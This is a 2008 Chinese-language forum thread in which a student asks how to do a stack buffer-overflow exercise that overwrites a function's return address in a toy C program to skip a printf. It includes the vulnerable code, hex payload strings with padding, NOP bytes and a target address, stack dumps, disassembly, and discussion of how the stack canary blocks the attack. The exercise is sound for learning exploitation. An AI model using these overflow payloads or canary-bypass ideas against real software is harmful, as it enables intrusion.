免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 3549 | 回复: 12
打印 上一主题 下一主题

[C] Linux下溢出攻击问题 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-12-09 12:45 |只看该作者 |倒序浏览
现有一已知代码存在溢出漏洞,要通过不修改程序代码 输入参数的方式修改函数func的返回地址,达到跳过printf("x is 1"); 这个语句的目的,就是最后输出的结果为x is 0
想问一下怎么才能达到目的? 由于我不知道怎么在输入字符串的形式下输入16进制,所以我先试试修改代码的输入方式来达到目的,可是总是说stack smashing detected.
下面那个测试代码就是我加的,我已经知道了要修改func的函数返回地址为0x0804847e, 而不能改变原ebp的值,有没有其他方式,例如空操作NOP 可以跳过敏感区 只修改函数func的返回地址,避免那个stack smashing detected啊?

由于输入的参数是字符串,不是16进制,我也不懂怎么转换,各位高手指点一下小弟吧。。。已经想了3天了。。。昨天通宵了。。还没调出来。。。呜呜呜。。。
考古一下,,我找到一个类似的帖子
【好玩】缓冲区溢出攻击实验
http://bbs.chinaunix.net/viewthr ... p;extra=&page=1
可是这个例子是输入16进制的。。。帮帮我吧。。谢谢各位。。。


void func(char *str)
{
char buffer[24];
int *ret;
strcpy(buffer,str);    ///攻击点
}

int main(int argc, char **argv)
{
int x;
x = 0;
func(argv[1]);
//func("AAAAAAAAAAAAAAAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x48\xe0\xb4\xbf\x7e\x84\x04\x08"); ///测试代码
x = 1;
printf("x is 1");  ///要跳过的语句
printf("x is 0");
}

0xbfdde280:        0xbfdde29c        0x08048550        0x00000000        0x00000000
0xbfdde290:        0x00000000        0x08048550        0x00000000        0x41414141
0xbfdde2a0:        0x41414141        0x41414141        0x41414141        0x41414141
0xbfdde2b0:        0x90909090        0x90909090        0xbfb4e048  原ebp        0x0804847e     函数返回地址  

代码反汇编
0x08048404 <func+0>:        push   %ebp
0x08048405 <func+1>:        mov    %esp,%ebp
0x08048407 <func+3>:        sub    $0x38,%esp
0x0804840a <func+6>:        mov    0x8(%ebp),%eax
0x0804840d <func+9>:        mov    %eax,-0x24(%ebp)
0x08048410 <func+12>:        mov    %gs:0x14,%eax
0x08048416 <func+18>:        mov    %eax,-0x4(%ebp)
0x08048419 <func+21>:        xor    %eax,%eax
0x0804841b <func+23>:        mov    -0x24(%ebp),%eax
0x0804841e <func+26>:        mov    %eax,0x4(%esp)
0x08048422 <func+30>:        lea    -0x1c(%ebp),%eax
0x08048425 <func+33>:        mov    %eax,(%esp)
0x08048428 <func+36>:        call   0x8048344 <strcpy@plt>
0x0804842d <func+41>:        mov    -0x4(%ebp),%eax
0x08048430 <func+44>:        xor    %gs:0x14,%eax
0x08048437 <func+51>:        je     0x804843e <func+58>
0x08048439 <func+53>:        call   0x8048364 <__stack_chk_fail@plt>
0x0804843e <func+58>:        leave  
0x0804843f <func+59>:        ret   

0x08048440 <main+0>:        lea    0x4(%esp),%ecx
0x08048444 <main+4>:        and    $0xfffffff0,%esp
0x08048447 <main+7>:        pushl  -0x4(%ecx)
0x0804844a <main+10>:        push   %ebp
0x0804844b <main+11>:        mov    %esp,%ebp
0x0804844d <main+13>:        push   %ecx
0x0804844e <main+14>:        sub    $0x14,%esp
0x08048451 <main+17>:        movl   $0x0,-0x8(%ebp)
0x08048458 <main+24>:        movl   $0x8048550,(%esp)
0x0804845f <main+31>:        call   0x8048404 <func>
0x08048464 <main+36>:        movl   $0x1,-0x8(%ebp)
0x0804846b <main+43>:        movl   $0x8048575,(%esp)
0x08048472 <main+50>:        call   0x8048354 <printf@plt>
0x08048477 <main+55>:        movl   $0x804857c,(%esp)
0x0804847e <main+62>:        call   0x8048354 <printf@plt>
0x08048483 <main+67>:        add    $0x14,%esp
0x08048486 <main+70>:        pop    %ecx
0x08048487 <main+71>:        pop    %ebp
0x08048488 <main+72>:        lea    -0x4(%ecx),%esp
0x0804848b <main+75>:        ret

论坛徽章:
0
2 [报告]
发表于 2008-12-09 12:48 |只看该作者
忘了说,系统是 虚拟机+xubuntu
找了两天还没出结果。。。呜呜呜。。。

论坛徽章:
0
3 [报告]
发表于 2008-12-09 13:27 |只看该作者
你快弄,弄完了分享一下

论坛徽章:
0
4 [报告]
发表于 2008-12-09 13:39 |只看该作者

回复 #3 gawk 的帖子

不会那~~     通宵了还搞不定。。。   现在憔悴的一X...
期待高手~
貌似要用execl函数...  
好像用perl也行,,

论坛徽章:
36
IT运维版块每日发帖之星
日期:2016-04-10 06:20:00IT运维版块每日发帖之星
日期:2016-04-16 06:20:0015-16赛季CBA联赛之广东
日期:2016-04-16 19:59:32IT运维版块每日发帖之星
日期:2016-04-18 06:20:00IT运维版块每日发帖之星
日期:2016-04-19 06:20:00每日论坛发贴之星
日期:2016-04-19 06:20:00IT运维版块每日发帖之星
日期:2016-04-25 06:20:00IT运维版块每日发帖之星
日期:2016-05-06 06:20:00IT运维版块每日发帖之星
日期:2016-05-08 06:20:00IT运维版块每日发帖之星
日期:2016-05-13 06:20:00IT运维版块每日发帖之星
日期:2016-05-28 06:20:00每日论坛发贴之星
日期:2016-05-28 06:20:00
5 [报告]
发表于 2008-12-09 14:00 |只看该作者
C版有几个关于溢出攻击的精华帖,LZ搜一下,看看对你解决问题是否有帮助

论坛徽章:
0
6 [报告]
发表于 2008-12-10 09:57 |只看该作者

回复 #5 Godbach 的帖子

嗯,我已经看完了,,可是我不知道linux里面那个stack smashing detected.. 是什么回事?
能否把这个功能屏蔽掉,怀疑是这个影响出结果,,我已经试过把返回地址正确的改到我需要的地址,可是总是这个stack smashing detected 使得结果出不了。。。

论坛徽章:
0
7 [报告]
发表于 2008-12-10 11:35 |只看该作者
#include<stdio.h>
#include<string.h>

void func(char *str)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char buffer[24];
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int *ret;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;strcpy(buffer,str);    ///...

}

int main(int argc, char **argv)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int x;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = 0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//func(argv[1]);

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;func("\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08\x25\x84\x04\x08");
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;x = 1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("x is 1\n");  ///......

&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("x is 0\n");
}

论坛徽章:
0
8 [报告]
发表于 2008-12-10 11:38 |只看该作者
刚注意到楼主反汇编只有有这样的代码
0x08048439 <func+53>:        call   0x8048364 <__stack_chk_fail@plt>

这个是编译器加上去的栈检查
所以是没办法通过栈溢出来达到目的了

论坛徽章:
0
9 [报告]
发表于 2008-12-10 16:50 |只看该作者
其怪我在Linux上的代码怎么没出现LZ所说的那样报情况呢

论坛徽章:
0
10 [报告]
发表于 2008-12-11 02:52 |只看该作者

回复 #8 deadlylight 的帖子

谢谢deadlylight, 这个代码是要求通过输入字符串的形式 进行攻击
可以重写一个main函数调用execl函数来输入字符串,可是我写调用后没有出任何结果... 正在研究中。。。
你说那个0x08048439 <func+53>:        call   0x8048364 <__stack_chk_fail@plt>
我也郁闷了很久。。。有没有办法屏蔽那个功能?
郁闷中。。。
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP